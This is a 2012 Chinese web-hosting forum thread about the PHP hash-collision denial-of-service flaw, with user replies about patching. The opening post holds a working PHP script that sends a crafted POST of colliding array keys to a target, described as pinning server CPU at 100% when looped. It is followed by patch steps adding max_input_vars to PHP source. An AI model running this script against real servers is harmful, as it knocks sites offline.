全球主机交流论坛

标题: php最新漏洞hash dos攻击实例及解决方法 [打印本页]

作者: 毛毛虫    时间: 2012-1-3 18:46
标题: php最新漏洞hash dos攻击实例及解决方法
本帖最后由 毛毛虫 于 2012-1-3 18:50 编辑
  1. <?php
  2. $host = 'xxx.com/test.php';
  3. $data = '';
  4. $size = pow(2, 15);
  5. for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
  6. {
  7. $data .= '&array[' . $key . ']=0';
  8. }
  9. $ret = curl($host, ltrim($data,'&'));
  10. var_dump($ret);
  11. function curl($url, $post, $timeout = 30){
  12. $ch = curl_init();
  13. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  14. curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
  15. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  16. curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  17. curl_setopt($ch, CURLOPT_URL, $url);
  18. curl_setopt($ch, CURLOPT_POST, true);
  19. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  20. $output = curl_exec($ch);
  21. if ($output === false) return false;
  22. $info = curl_getinfo($ch);
  23. $http_code = $info['http_code'];
  24. if ($http_code == 404) return false;
  25. curl_close($ch);
  26. return $output;
  27. }
  28. ?>
复制代码
执行这个php程序会使服务器cpu直接占用100%,如果循环,你懂的。
下面是修补的方法:
php-5.2.x:
到这里github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars下载对应的补丁版本,进入php目录,执行patch -p1 < php-5.2.*-max-input-vars.patch打上补丁,之后make 和make install即可。
php-5.3.x:
php-5.3.x没有提供相应的补丁版本,laruence建议使用php5.3.x的升级到5.3.9RC4或者按照php5.2.x的补丁修改适应成php5.3.x的补丁。下面我们提供直接修改文件的方法,虽然比较麻烦。
1、修改/main/main.c文件,把STD_PHP_INI_ENTRY宏加到main.c的PHP_INI_BEGIN()和PHP_INI_END()宏之间来注册PHP INI指令:
  1. STD_PHP_INI_ENTRY(" max_input_vars", "1000", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_vars, php_core_globals, core_globals)
复制代码
2、修改文件/main/php_globals.h,_php_core_globals结构体内加上:
  1. long max_input_vars;
复制代码
3、修改文件/main/php_variables.c,在:
  1. zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p);
复制代码
之前加入:
  1. if (zend_hash_num_elements(symtable1) >= PG(max_input_vars)) {
  2. php_error_docref(NULL TSRMLS_CC, E_ERROR, "Input variables exceeded %ld. To increase the limit change max_input_vars in php.ini.", PG(max_input_vars));
  3. }
复制代码
一共有两处,第一处数组中的键时的操作,而第二处是普通变量时的操作。
作者: easyboy    时间: 2012-1-3 18:47
其实呢。。这个大半年前就爆出了 而且有补丁了
作者: johnnyfu829    时间: 2012-1-3 18:48

作者: Captain    时间: 2012-1-3 18:48
windows下的补丁怎么打
作者: 毛毛虫    时间: 2012-1-3 18:49
easyboy 发表于 2012-1-3 18:47
其实呢。。这个大半年前就爆出了 而且有补丁了

补丁是前几天才有的
作者: 查无此人    时间: 2012-1-3 18:50
提示: 作者被禁止或删除 内容自动屏蔽
作者: crazyfeng    时间: 2012-1-3 18:53
怎么利用?
作者: mslxd    时间: 2012-1-3 18:54
没搞懂啊,,,,
作者: 火雪心    时间: 2012-1-3 18:56
怎么打补丁??
作者: cquyf    时间: 2012-1-3 18:56
最怕洞洞了
作者: 火雪心    时间: 2012-1-3 18:58
lnmp怎么打补丁?
作者: skycity    时间: 2012-1-3 18:58
哈哈
作者: 一跳而过    时间: 2012-1-3 19:00
不懂啊
作者: 瘦够了    时间: 2012-1-3 19:13
好像DEDE就是被这个干的?禁用某函数就OK了
作者: 一不小心    时间: 2012-1-3 19:14
刚刚升级完PHP。。
作者: onlybird    时间: 2012-1-3 20:20
瘦够了 发表于 2012-1-3 19:13
好像DEDE就是被这个干的?禁用某函数就OK了

和这个没关系,必须要设置最大数组长度
作者: onlybird    时间: 2012-1-3 20:24
lz转载代码别忘记加出处
作者: dotww    时间: 2012-1-3 20:27
补丁地址为什么不是官方的?
作者: onlybird    时间: 2012-1-3 20:29
dotww 发表于 2012-1-3 20:27
补丁地址为什么不是官方的?

可以直接升级为最新版的php就行
作者: Administrator    时间: 2012-1-3 20:30
提示: 作者被禁止或删除 内容自动屏蔽
作者: 堕落kiss    时间: 2012-1-3 20:32
不是说是在POST接受一个构造的请求,CPU占用路飙升吗?这个只是本地吧?
作者: wusir    时间: 2012-1-3 20:35
补补去
作者: onlybird    时间: 2012-1-3 20:37
堕落kiss 发表于 2012-1-3 20:32
不是说是在POST接受一个构造的请求,CPU占用路飙升吗?这个只是本地吧?

明显不是本地
作者: 副站长    时间: 2012-1-3 20:44
怎么利用这个漏洞做点其它事情?
作者: 毛毛虫    时间: 2012-1-3 20:45
onlybird 发表于 2012-1-3 20:24
lz转载代码别忘记加出处

pm我,搞来搞去找不到出处了
作者: jasontse    时间: 2012-1-3 21:02
局域网100Mbps试了下
30个线程没任何效果
5.3.8
作者: lzd130    时间: 2012-1-3 21:04
这个要顶下
作者: mikj521    时间: 2012-1-3 21:17

作者: ali727    时间: 2012-1-3 21:18
mark一下
作者: light    时间: 2012-1-3 21:20
怎么升级php啊




欢迎光临 全球主机交流论坛 (https://lilynana.eu.org/) Powered by Discuz! X3.4